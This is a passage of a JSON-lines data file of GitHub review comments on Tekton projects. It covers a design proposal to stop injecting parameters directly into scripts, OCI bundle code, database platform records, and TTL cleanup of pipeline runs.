1368452211, "created_at": "2023-10-23T10:24:47Z", "line": 423, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Updated the doc to explain that feature-gates will be added:\r\n- upon initial implementation so that cluster operators can OPT-IN to disabling direct param injection for `script`\r\n- [optional/TBD] post-implementation so users can opt-in to default behavior (if we deem this necessary)", "comment_id": 1372329688, "created_at": "2023-10-25T21:09:44Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Fixed now, thanks!", "comment_id": 1372330321, "created_at": "2023-10-25T21:10:32Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Fixed now, thanks!", "comment_id": 1372330538, "created_at": "2023-10-25T21:10:47Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1, agree the default should be backwards compatible and allow the current behavior. As you mention it makes sense to allow the cluster operator to disable the default behavior via a feature flag though. I\u2019ve updated the doc in a few places (including the highlighted section) to explain how feature-gates could be used to support a potential option for restricting the default v1 (but NOT by default). Users choosing this option would also give us some insights/feedback related to the experience for if/when we remove the default behavior in 1.X/v2 (or after the ~9 mo deprecation policy depending on what we decide)", "comment_id": 1372331201, "created_at": "2023-10-25T21:11:32Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1, as part of the implementation we would add some automation that did either the following:\r\n* Either as a warning in controller logs OR when the insecure defaults are eventually removed (via opt-in feature flag or after decided upon depreciation timing in v1.X, v2, etc.) - tekton will suggests running a new to-be-implemented CLI command such as `tkn fix` that could update input YAML files, converting them to using the new secure \u201c.env\u201d syntax for `script` and relaying any issues/manual changes necessary as needed\r\n* Controller implementation that is able to convert all/subset of cases the automatically \u201cunder the hood\u201d. Ideally this would work for all cases but perhaps for some 80% (eg: bash only, etc.) cases it works and for others it returns a validation error\r\n", "comment_id": 1372332012, "created_at": "2023-10-25T21:12:32Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Ah good point, just added a security vulnerability example for Python here as well detailing how to do a similar exploit as the bash example with the current implementation. Additionally now the preferred solution (`Explicity Project `Parameters` as Environment Variables in `Steps` (Language-Agnostic)`) shows an example of how non-bash implementations would work.", "comment_id": 1372332681, "created_at": "2023-10-25T21:13:22Z", "line": 186, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Updated the text there now - yes exactly, referring to v1.x or a v2 API.", "comment_id": 1372332898, "created_at": "2023-10-25T21:13:39Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Yes I agree that currently the solution here is verbose in that there are multiple levels of indirection as you have outlined. The current proposal has been designed based on the consensus and positive feedback received from the previous proposal (now closed TEP-099). Additionally the currently suggested solution (*.env) similar to those employed in tasks that successfully addressed this issue. I added an additional bullet under `Requirements` titled `Minimize verbosity as much as possible` which mentions the issue you raised above.\r\n\r\nBelow in your comments you have mentioned an alternative implementation options could be that we set the env vars in the pod directly which would seemingly be less verbose. Once this is merged I will compare different implementation paths (including setting the env vars in pods directly) and we can weigh the tradeoffs there. I have currently not expressly added that implementation detail in the doc (plan to post merge as \"proposed\")", "comment_id": 1372333891, "created_at": "2023-10-25T21:15:01Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "I have clarified in the document now that the preferred solution would be the `.env` solution which is explicit as any implicit change is backwards compat. This (explicitly defining to use the env var interpolation) was the intended preferred solution so I've now changed the document to make this more clear. Marking this resolved, lmk if there is more to discuss here.", "comment_id": 1372337724, "created_at": "2023-10-25T21:19:55Z", "line": 486, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1 to providing some helper scripts to be used for arrays (and possibly objects) as needed. I\u2019ve added a note under the alternative there related to adding UX helper functions", "comment_id": 1372339746, "created_at": "2023-10-25T21:22:22Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "I have not investigated as deeply for the `.path` alternative as I have for the `.env` option but I believe this implementation would require helper functions as you suggest above to get this correct. Serializing arrays/objects into JSON syntax and then creating helper functions to parse the necessary piece of information instead when using `[*]` or `[0]` syntax (or the obj array directly) would be required. I did not update the document here but if folks prefer this alternative or want more detail here now I can add more information. In the case that would be too cumbersome, we could try to map files 1:1 to used values and have a file for each field/array-index but this should only be used as a final option as it doesn't scale well.", "comment_id": 1372343812, "created_at": "2023-10-25T21:27:33Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1, currently the idea for rolling this out would be to keep backwards compatibility with an opt-in feature-gate for cluster operators to remove this in v1 (if we agree this makes sense). For the warnings, it wasn\u2019t clear to me the de-facto way to do this in Tekton. As stated, we could output some \u201cWARN: Tekton is deprecating <...>\u201d, see docs link here for more information on deprecation timelines how to migrate \u201d on creation of a Task but not sure how visible this might be to most end users. \r\n", "comment_id": 1372345071, "created_at": "2023-10-25T21:29:13Z", "line": 663, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "Sorry for the confusion here, the \u201cparams..env\u201d here is referring to the preferred alternative from the document which is \u201cSuggested Solution - Explicitly Project `Parameters` as Environment Variables in `Steps` (Language-Agnostic)\u201d. I have updated the snippet here to now reference that preferred solution by name. \u201cCombine Elements of Both Explicit Environment Variable and Filesystem Projection Solution\u201d is a possible extension point once \u201cExplicitly Project `Parameters` as Environment Variables in `Steps` (Language-Agnostic)\u201d is implemented. That way we can start and then extend as needed for UX, additional options to aid in more automated migration, etc.", "comment_id": 1372345319, "created_at": "2023-10-25T21:29:32Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1 to providing some helper scripts to be used for arrays (and possibly objects) as needed. I\u2019ve added a note under the alternative there related to adding UX helper functions\r\n\r\n", "comment_id": 1372346605, "created_at": "2023-10-25T21:31:09Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "+1 to the gotchas outlined, I will address each one inline:\r\n* the translation from param name to env variable name risks being brittle\r\n * This is a good point, to clarify could you elaborate on the specific brittleness you mention? My interpretation would be that because param names are somewhat unconstrained multiple param names might map to the same env var name in translation if not careful. I have not added this into the document but to reduce brittleness in the param-name- > env-var name translation we could add a param name hash suffix (similar to k8s pods) to avoid collisions eg: TEKTON_PARAM_FOO_X5GHA. This would make directly knowing the name for the param a bit more difficult for users but Tekton is dynamically generating these anyway so it should be ok if it is somewhat opaque.\r\n* what happens in case of conflicts with user-defined environment variables or how do we prevent such conflicts\r\n * Good point, this case important to call out explicitly. I\u2019ve added this into the document now under `Design Details` in a bulleted section titled - \u201cConsidered Edge Cases and Gotchas\u201d. The gist is that in case of an overlap with user-defined environment variables, Tekton will throw a validation error stating that the param should be renamed. NOTE: collision should be very unlikely given the TEKTON_PARAM prefix and we can also optionally add a sha suffix to the env var (based on the param name) to further unique-ify the env var name to reduce collision.\r\n* how do we handle array params? We added support for indexing into array params but how do we render the list into an environment variable that is usable by different kinds of script environments? Shall we use a JSON blob? That's not too bash-friendly but very python-friendly\r\n * Currently the plan would be that the values in the env var map 1:1 with how they are currently used as that UX is working for users atm. In the case of an array param, it would be the same values based on the syntax, for an array param + index (params.arr[0]) we would get the string value and for the entire array we would provide the list as a comma separated array (params.arr -> first,second,third\u2026) The TEP suggestion is built around the `script` field which only supports string type variables which currently has comma separated serialization for the array and actually has a validation error against using an object directly (vs an object field). I have added some examples under the \u201cSuggested Solution\u201d.\r\n* how do we handle object params? Do we add one variable for each field? Or a single variable with a JSON blob?\r\n * There would be a variable for each field. I have added some examples under the \u201cSuggested Solution\u201d. Currently in my experimentation around this it seems that you get a validation error if you try to reference a param object in a script directly (vs a param object field which works) - as such there doesn't seem to be a precedent for supporting the obj param directly as they can't be used IIUC in `script` currently\r\n", "comment_id": 1372352529, "created_at": "2023-10-25T21:39:15Z", "line": null, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "I've updated the text here to explicitly reference the 9 mo deprecation policy for any v1.X changes", "comment_id": 1372363714, "created_at": "2023-10-25T21:55:15Z", "line": 423, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "aaron-prindle", "body": "As noted here and in some other comments, the doc was initially unclear around the backwards compatibility guarantees - it has now been updated. The proposed solution will be backwards compatible for the 9 mo deprectation window and will have an opt-in feature flag for users to modify this if they desire (assuming folks here agree to that during the implementation).", "comment_id": 1372364723, "created_at": "2023-10-25T21:56:41Z", "line": 423, "path": "teps/0146-parameters-in-script.md", "pr_number": 1077, "repo": "community"} +{"author": "imjasonh", "body": "The go-containerregistry library has a pretty solid set of methods for this kind of name parsing, I'd love to avoid having to maintain it in two places.\r\n\r\nhttps://godoc.org/github.com/google/go-containerregistry/pkg/name#ParseReference", "comment_id": 379962173, "created_at": "2020-02-17T02:23:49Z", "line": 43, "path": "oci/pkg/oci/image.go", "pr_number": 461, "repo": "experimental"} +{"author": "imjasonh", "body": "It looks like a lot of these methods are only called from within this package, so they don't have to be exported.", "comment_id": 379962339, "created_at": "2020-02-17T02:24:57Z", "line": 36, "path": "oci/pkg/oci/bundle.go", "pr_number": 461, "repo": "experimental"} +{"author": "imjasonh", "body": "I'm pretty sure there's a standard K8s package to universally decode K8s config files. Can we use that instead?", "comment_id": 379962533, "created_at": "2020-02-17T02:26:07Z", "line": 90, "path": "oci/pkg/oci/bundle.go", "pr_number": 461, "repo": "experimental"} +{"author": "imjasonh", "body": "If we expect/hope this code will end up in either tkn or Tekton cobtrollers we should try to standardize on the logging used in those codebases, I don't think they use logrus today.", "comment_id": 379962781, "created_at": "2020-02-17T02:27:35Z", "line": 19, "path": "oci/pkg/oci/image.go", "pr_number": 461, "repo": "experimental"} +{"author": "imjasonh", "body": "go-containerregistry also has pretty straightforward methods for pulling and pushing, which are already used in Tekton. Can we try to use those to make this easier to integrate down the line?", "comment_id": 379963043, "created_at": "2020-02-17T02:28:55Z", "line": 134, "path": "oci/pkg/oci/image.go", "pr_number": 461, "repo": "experimental"} +{"author": "imjasonh", "body": "This is done in tekdoc: https://github.com/tektoncd/experimental/blob/master/tekdoc/main.go#L45", "comment_id": 380157571, "created_at": "2020-02-17T12:36:38Z", "line": 90, "path": "oci/pkg/oci/bundle.go", "pr_number": 461, "repo": "experimental"} +{"author": "pierretasci", "body": "The UniversalDeserializer is being used here: https://github.com/tektoncd/experimental/pull/461/files/28fc8d52254c72a62a82d422db91ff4ecaf11b0a#diff-be720fcc306c3d06da4d0c6eac9ed71eR126 to decode the file contents and ensure they are parseable as Tekton crds.\r\n\r\nThe problem is that the deserializer, AFAIK, will only parse a single resource from a set of contents even if the file is a `---` separated yaml config or a json array. We want to allow parsing multiple resources from a single file. If we take a look at how kubectl accomplishes this in the `cli-runtime` it is a bit more roundabout than what is trying to be accomplished here: https://github.com/kubernetes/kubectl/blob/4e4ec7cb5beac1fe75fd4be05d77c65030c30088/pkg/cmd/apply/apply.go#L323\r\n\r\nTo that end, for the first iteration of a tool that is meant just to be a POC, it might be worthwhile to keep the logic simple and more bespoke while we figure out how Tekton will support bundling these images. Perhaps we decide only Catalog CRDs should be bundled and we don't need parsing input at all\"\r\n\r\n", "comment_id": 380273821, "created_at": "2020-02-17T16:23:29Z", "line": 90, "path": "oci/pkg/oci/bundle.go", "pr_number": 461, "repo": "experimental"} +{"author": "pierretasci", "body": "I believe this is actually just here to suppress the built-in logger of the `oras` package which spits out warnings for using a custom mime that isn't publicly registered anywhere. I don't think this PR specifies a logger and is, unfortunately, only importing logrus to set the log level.", "comment_id": 380274456, "created_at": "2020-02-17T16:24:41Z", "line": 19, "path": "oci/pkg/oci/image.go", "pr_number": 461, "repo": "experimental"} +{"author": "pierretasci", "body": "I believe ReadPaths and ParsedTektonResource are the only exported members and they are referenced outside of the `oci` package inside of the `action` package. Perhaps there is a case to be made for re-organizing but this tends to follow a cobra cli layout as far as I can tell.", "comment_id": 380277417, "created_at": "2020-02-17T16:30:09Z", "line": 36, "path": "oci/pkg/oci/bundle.go", "pr_number": 461, "repo": "experimental"} +{"author": "jerop", "body": "it would be useful to add some details here on why a user may want to do this, maybe some use cases and benefits (with a link to the TEP for further information)", "comment_id": 674161931, "created_at": "2021-07-21T16:47:57Z", "line": null, "path": "pipeline-to-taskrun/README.md", "pr_number": 770, "repo": "experimental"} +{"author": "jerop", "body": "it'd be helpful to specify that _string_ params only are supported, in case a user doesn't get to the part below that says _array_ params are not yet supported", "comment_id": 674163570, "created_at": "2021-07-21T16:50:08Z", "line": null, "path": "pipeline-to-taskrun/README.md", "pr_number": 770, "repo": "experimental"} +{"author": "jerop", "body": "```suggestion\r\n app.kubernetes.io/part-of: tekton-pipeline-to-taskrun\r\n```", "comment_id": 674169764, "created_at": "2021-07-21T16:58:38Z", "line": null, "path": "pipeline-to-taskrun/config/500-controller.yaml", "pr_number": 770, "repo": "experimental"} +{"author": "jerop", "body": "```suggestion\r\n app.kubernetes.io/part-of: tekton-pipeline-to-taskrun\r\n```", "comment_id": 674169923, "created_at": "2021-07-21T16:58:50Z", "line": null, "path": "pipeline-to-taskrun/config/500-controller.yaml", "pr_number": 770, "repo": "experimental"} +{"author": "jerop", "body": "following this section is a bit confusing i.e. it's not clear when taskrun is created \r\n\r\ne.g. we have an error \"couldn't create taskrun for pipeline\", then later we're \"creating a new taskrun object\"\r\n\r\nmay help if the first part used `merge` and second part part used `create`", "comment_id": 674203205, "created_at": "2021-07-21T17:47:47Z", "line": null, "path": "pipeline-to-taskrun/pkg/reconciler/pipelinetotaskrun/pipelinetotaskrun.go", "pr_number": 770, "repo": "experimental"} +{"author": "jerop", "body": "or you could add comments like in the other sections above, they were really helpful - thanks!", "comment_id": 674203588, "created_at": "2021-07-21T17:48:20Z", "line": null, "path": "pipeline-to-taskrun/pkg/reconciler/pipelinetotaskrun/pipelinetotaskrun.go", "pr_number": 770, "repo": "experimental"} +{"author": "bobcatfish", "body": "both great suggestions! ive made a couple updates but lemme know if it's not enough of a change and i could still make it more clear", "comment_id": 688806252, "created_at": "2021-08-13T22:14:23Z", "line": null, "path": "pipeline-to-taskrun/pkg/reconciler/pipelinetotaskrun/pipelinetotaskrun.go", "pr_number": 770, "repo": "experimental"} +{"author": "sm43", "body": "do we need to clean the resources before adding?\r\n", "comment_id": 662445476, "created_at": "2021-07-01T16:45:09Z", "line": null, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "I think `FirstOrCreate` will create record only if it is missing, so what if we don't clean then?", "comment_id": 662445920, "created_at": "2021-07-01T16:45:57Z", "line": null, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "nit: 2021", "comment_id": 662447292, "created_at": "2021-07-01T16:47:59Z", "line": null, "path": "api/test/fixtures/platforms.yaml", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "could you add a test for querying using `platforms`?", "comment_id": 662449446, "created_at": "2021-07-01T16:51:10Z", "line": null, "path": "api/pkg/shared/resource/resource.go", "pr_number": 282, "repo": "hub"} +{"author": "PuneetPunamiya", "body": "nit: 2021", "comment_id": 662734647, "created_at": "2021-07-02T04:51:31Z", "line": null, "path": "api/test/fixtures/resource_platforms.yaml", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "fixed", "comment_id": 663120194, "created_at": "2021-07-02T16:13:27Z", "line": null, "path": "api/test/fixtures/platforms.yaml", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "done", "comment_id": 663120259, "created_at": "2021-07-02T16:13:35Z", "line": null, "path": "api/pkg/shared/resource/resource.go", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "In case if we don't clean platforms, new platforms will be just added to the existing ones (when it's necessary). This doesn't cover the use case when some platform was removed from the list of supported platforms in the resource.\r\nClean up of the existing records and addition of the new list would represent the actual data from the resource.", "comment_id": 663121979, "created_at": "2021-07-02T16:16:49Z", "line": null, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "fixed", "comment_id": 663126165, "created_at": "2021-07-02T16:24:43Z", "line": null, "path": "api/test/fixtures/resource_platforms.yaml", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "mismatch I guess :)\r\n`version_platforms` for `Resource` instead of `resource_platform`", "comment_id": 674498215, "created_at": "2021-07-22T04:48:51Z", "line": null, "path": "api/pkg/db/model/model.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "if we add platforms only for resource versions then I think we can fetch platforms for a resource from its versions.\r\ni think in gorm queries is we can use https://gorm.io/docs/preload.html#Nested-Preloading and then get platforms for a resource", "comment_id": 674500230, "created_at": "2021-07-22T04:56:01Z", "line": 267, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "but this also means we will have to loop on all resource versions everytime we want to fetch resource details. I am okay with adding for both but wdyt ? which would be better?", "comment_id": 674500783, "created_at": "2021-07-22T04:57:56Z", "line": 267, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "+1", "comment_id": 674504131, "created_at": "2021-07-22T05:09:19Z", "line": 306, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "I tried several approaches here. \r\nThe first idea was to have 1 join table for resources, versions and platforms, however at the end the problem was to get unique platforms for resources, because by default I got the same values several times in case of simple Preload, and Distinct was not possible to add to the default Preload, and at the end I thought that it's too complicated modifications in too many places.\r\nThe second idea was similar to your suggestion with getting resource platforms from resource versions' platforms, and at the end I decided not to implement it, because some queries work on resource level only, others are designed to return result of one db.Select and we would really need to extend many requests and loop through all resource versions all the time. So I thought that's too much overhead here.\r\nThat's why I chose the third way - separate storage of platforms for resources and platforms for resource versions. As we need to go through resource versions only when there are changes on catalog side and write or delete is done only when it's necessary. + the new logic is isolated.\r\n\r\nHowever here I'd rely on your experience and project roadmap understanding. What is your gut feeling? :)", "comment_id": 674697847, "created_at": "2021-07-22T11:03:13Z", "line": 267, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "Thank you and good catch :)", "comment_id": 674697918, "created_at": "2021-07-22T11:03:19Z", "line": null, "path": "api/pkg/db/model/model.go", "pr_number": 282, "repo": "hub"} +{"author": "pratap0007", "body": "Could you please add `OnDelete:CASCADE` constraints as well", "comment_id": 674702226, "created_at": "2021-07-22T11:10:55Z", "line": null, "path": "api/pkg/db/model/model.go", "pr_number": 282, "repo": "hub"} +{"author": "pratap0007", "body": "and same here ", "comment_id": 674702516, "created_at": "2021-07-22T11:11:23Z", "line": null, "path": "api/pkg/db/model/model.go", "pr_number": 282, "repo": "hub"} +{"author": "sm43", "body": "oh yeah in first case there would be redundancy \r\n>db.Select and we would really need to extend many requests and loop through all resource versions all the time. So I thought that's too much overhead here.\r\n\r\nyep that's was my concern\r\n\r\n>However here I'd rely on your experience and project roadmap understanding. What is your gut feeling? :)\r\n\r\nI would like to keep the current that's seems better, we can improve it later if found a better way :) \r\n\r\n", "comment_id": 675308883, "created_at": "2021-07-23T05:06:06Z", "line": 267, "path": "api/pkg/service/catalog/syncer.go", "pr_number": 282, "repo": "hub"} +{"author": "barthy1", "body": "@pratap0007 constraints we added. Could you please add `lgtm` if it looks ok to you?", "comment_id": 675491893, "created_at": "2021-07-23T11:19:48Z", "line": null, "path": "api/pkg/db/model/model.go", "pr_number": 282, "repo": "hub"} +{"author": "bobcatfish", "body": "just a quick ping - looks like there were some merge conflicts in this PR that didn't quite get resolved :pray: ", "comment_id": 339565365, "created_at": "2019-10-28T13:37:41Z", "line": 615, "path": "docs/taskruns.md", "pr_number": 1429, "repo": "pipeline"} +{"author": "anxinyf", "body": "Thx, I'm going to check any other problems like this, and then update.", "comment_id": 339901958, "created_at": "2019-10-29T05:46:59Z", "line": 615, "path": "docs/taskruns.md", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure I got this. \r\nIf the `expirationSecondsTTL` can only be set on TaskRun and PipelineRun, when the TaskRun is created by a PipelineRun it cannot have it's own `expirationSecondsTTL` to be ignored.\r\nThe way I understand it is that any TaskRun created by a PipelineRun will inherit the `expirationSecondsTTL` value of the PipelineRun.", "comment_id": 350691474, "created_at": "2019-11-26T11:41:20Z", "line": 63, "path": "docs/taskruns.md", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "I'm not sure we need so specify this. The whole API is alpha level right now.", "comment_id": 350692006, "created_at": "2019-11-26T11:42:41Z", "line": 85, "path": "pkg/apis/pipeline/v1alpha1/pipelinerun_types.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "DelayDeleteTTL ?", "comment_id": 350692356, "created_at": "2019-11-26T11:43:26Z", "line": 66, "path": "pkg/apis/pipeline/v1alpha1/pipelinerun_validation.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto", "comment_id": 350692480, "created_at": "2019-11-26T11:43:40Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/taskrun_types.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I'm not sure this comment belongs here, since it's the controller enforcing that, so this should sit next to the corresponding logic to avoid the comment becoming stale.", "comment_id": 350693695, "created_at": "2019-11-26T11:46:23Z", "line": 131, "path": "pkg/apis/pipeline/v1alpha1/taskrun_types.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "more merge issues\r\nI guess L74-86 are mean to replace L88-100?", "comment_id": 350693819, "created_at": "2019-11-26T11:46:39Z", "line": 73, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "afrittoli", "body": "`PipelineRuns whose TTL the controller will check and attempt to delete when it expires`", "comment_id": 350696261, "created_at": "2019-11-26T11:52:49Z", "line": 112, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "anxinyf", "body": "Yes, \"any TaskRun created by a PipelineRun will inherit the expirationSecondsTTL value of the PipelineRun.\" As we known, in this case, the field of TaskRun is from PipelineRun, so while PipelineRun is deleted after expired, taskRun will be deleted at the same time.", "comment_id": 358614760, "created_at": "2019-12-17T06:02:26Z", "line": 63, "path": "docs/taskruns.md", "pr_number": 1429, "repo": "pipeline"} +{"author": "anxinyf", "body": "Oh, I'll delete it", "comment_id": 358615681, "created_at": "2019-12-17T06:06:36Z", "line": 85, "path": "pkg/apis/pipeline/v1alpha1/pipelinerun_types.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "anxinyf", "body": "Sorry, this is a outdated field, and I have updated it with ExpirationSecondsTTL in https://github.com/tektoncd/pipeline/pull/1486", "comment_id": 358615692, "created_at": "2019-12-17T06:06:40Z", "line": 66, "path": "pkg/apis/pipeline/v1alpha1/pipelinerun_validation.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "anxinyf", "body": "Thx :\uff09", "comment_id": 358618046, "created_at": "2019-12-17T06:17:25Z", "line": 112, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 1429, "repo": "pipeline"} +{"author": "NavazishS", "body": "I am facing below issue, can some one help me to address this.\r\n\r\n![image](https://user-images.githubusercontent.com/72895399/136190631-78a77c5e-8099-4bc3-aab3-a765aa643ea5.png)\r\n", "comment_id": 723129609, "created_at": "2021-10-06T11:02:05Z", "line": 63, "path": "docs/taskruns.md", "pr_number": 1429, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im wondering if there is some way we can avoid adding more attributes and functionality to the reconciler object itself - do you think it might be possible to create a separate object for managing the timeouts, which we could use and test in isolation?\r\nif so then maybe one way to break up #1429 (which might be what you're already going for!) would be to have this PR add that object, complete with unit test coverage, and describe how it is intended to be hooked up (I think this is pretty close to what you're doing already, it's just a bit hard right now to see the overall structure)", "comment_id": 339568658, "created_at": "2019-10-28T13:43:50Z", "line": 110, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "the reconciler object actually has a `Logger` object which we usually use for logging, e.g.\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/192134488deec8d58a9ee4c339c797577f933734/pkg/reconciler/taskrun/taskrun.go#L100", "comment_id": 339569574, "created_at": "2019-10-28T13:45:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I'm curious, do you think it's possible to use the same logic for TaskRuns and PipelineRuns, or do they definitely need to be distinct?", "comment_id": 339570088, "created_at": "2019-10-28T13:46:28Z", "line": 40, "path": "pkg/reconciler/taskrun/taskrun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I like how this is broken up into lots of small functions - one thing that we'd definitely want to see in this PR is as much unit test coverage as we can get - the easiest way to do this (which usually leads to the best code!) is to create unit tests for individual functions like these", "comment_id": 339570809, "created_at": "2019-10-28T13:47:45Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "Thx, I'll fix it", "comment_id": 339873865, "created_at": "2019-10-29T02:47:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "Yes, in [#1429](https://github.com/tektoncd/pipeline/pull/1429#issue-328355087), I just do this in a new file[ ttl_controller.go](https://github.com/tektoncd/pipeline/blob/6256db57a92afef7f49715f5753accbc7cbfe3d4/pkg/apis/pipeline/v1alpha1/ttl_controller.go), but for convenience, I add these new attibutes in Reconciler object. I'll consider it again.", "comment_id": 339922015, "created_at": "2019-10-29T07:26:45Z", "line": 110, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "OK, It's necessary! In fact, I have test for this, upload soon :)", "comment_id": 339922616, "created_at": "2019-10-29T07:29:03Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "would be great if these log messages could say _what_ the PipelineRun is being added to (in this case it's to the queue for deleting the Runs after the TTL expires?)", "comment_id": 350792534, "created_at": "2019-11-26T15:00:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it might look nice to create a new struct that has the UpdatePipelineRun and AddPipelineRun functions in a separate package - then we could have unit tests for them, and all all that would need to happen here would be something like\r\n\r\n```go\r\n expirationQueue := expiration.Queue{}\r\n\t\tpipelineRunInformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{\r\n\t\t\tAddFunc: expirationQueue.AddPipelineRun,\r\n\t\t\tUpdateFunc: expirationQueue.UpdatePipelineRun,\r\n\t\t})\r\n```", "comment_id": 350793608, "created_at": "2019-11-26T15:02:09Z", "line": 101, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "bobcatfish", "body": "It'd be great to see the individual functions exercised in unit tests as well (which is hard when they're on the reconciler object - another +1 for moving the functions out of the reconciler", "comment_id": 350796787, "created_at": "2019-11-26T15:07:37Z", "line": 135, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired_test.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "Because processTaskRunExpired needs to call HasPipelineRunOwnerReference but processPipelineRunExpired not, and tc.processTrTTL calls taskRunCleanup which is different from pipelineRunCleanup. So I would like to implement this separately :)", "comment_id": 357961266, "created_at": "2019-12-15T08:17:36Z", "line": 40, "path": "pkg/reconciler/taskrun/taskrun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": "anxinyf", "body": "The test needs to call prTimeLeft which is under reconciler object. I do this like reconciler/pipelinerun/pipelinerun_test and other unit tests. So...", "comment_id": 357962070, "created_at": "2019-12-15T08:32:36Z", "line": 135, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired_test.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "should possibly check if this was a successful cast to avoid panics. something like:\r\n```go\r\npr, ok := cur.(*apispipeline.PipelineRun)\r\nif !ok {\r\n return // maybe log an error?\r\n}\r\n```\r\n\r\nAlso, same for `AddPipelineRun` on line 18", "comment_id": 363292054, "created_at": "2020-01-06T13:27:50Z", "line": 27, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "What is \"Cascade\" in this context?", "comment_id": 363293104, "created_at": "2020-01-06T13:30:47Z", "line": 64, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} +{"author": null, "body": "`processTTL` in comment should match function name below it", "comment_id": 363293610, "created_at": "2020-01-06T13:32:09Z", "line": 75, "path": "pkg/reconciler/pipelinerun/pipelinerun_expired.go", "pr_number": 1486, "repo": "pipeline"} 